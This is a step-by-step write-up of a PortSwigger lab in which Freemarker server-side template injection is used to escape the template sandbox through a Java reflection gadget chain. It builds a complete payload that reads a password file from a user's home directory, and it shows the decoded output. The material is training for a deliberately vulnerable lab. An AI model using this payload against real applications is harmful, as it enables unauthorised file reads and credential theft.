PortSwigger

Lab Description

This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos’s home directory. Then submit the contents of the file.

  • Credentials: content-manager:C0nt3ntM4n4g3r


Step 1: Understanding the Vulnerability

Freemarker SSTI with sandbox bypass:

  • The application uses Freemarker templates for product descriptions
  • The sandbox restricts access to certain classes and methods
  • However, we can chain method calls to reach a class that can read files
  • Using product.getClass() we can access Java’s Reflection API

The attack chain:

  1. Access the product object in the template
  2. Get its class via getClass()
  3. Navigate to ProtectionDomain → CodeSource → Location
  4. Use toURI().resolve() to access any file
  5. Read the file using toURL().openStream().readAllBytes()

Step 2: Reconnaissance

Step 2.1: Log In

  1. Log in with content-manager:C0nt3ntM4n4g3r
  2. Navigate to the product description template editor

Step 2.2: Test Basic Access

Test if we can access product and call methods:

${product.getClass()}

Expected output: class data.productcatalog.Product

SSTI confirmed


Step 3: Building the Gadget Chain

Step 3.1: Get the Class

${product.getClass()}

Step 3.2: Get ProtectionDomain

${product.getClass().getProtectionDomain()}

Step 3.3: Get CodeSource

${product.getClass().getProtectionDomain().getCodeSource()}

Step 3.4: Get Location

${product.getClass().getProtectionDomain().getCodeSource().getLocation()}

Step 3.5: Resolve to Target File

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt')}

Step 3.6: Open Stream and Read

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()}


Step 4: The Complete Payload

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Enter this in the product description template and save.


Step 5: Convert the Output

The response will contain numbers like:

98 110 102 104 115 115 110 119 56 105 103 120 102 116 115 99 109 105 56 97

Convert each decimal to ASCII:

  • Result: bnfhssnw8igxftscmi8a

Step 6: Submit the Password

  1. Click Submit solution
  2. Paste the extracted password
  3. Click Submit


Step 7: Lab Solved

Success message displayed: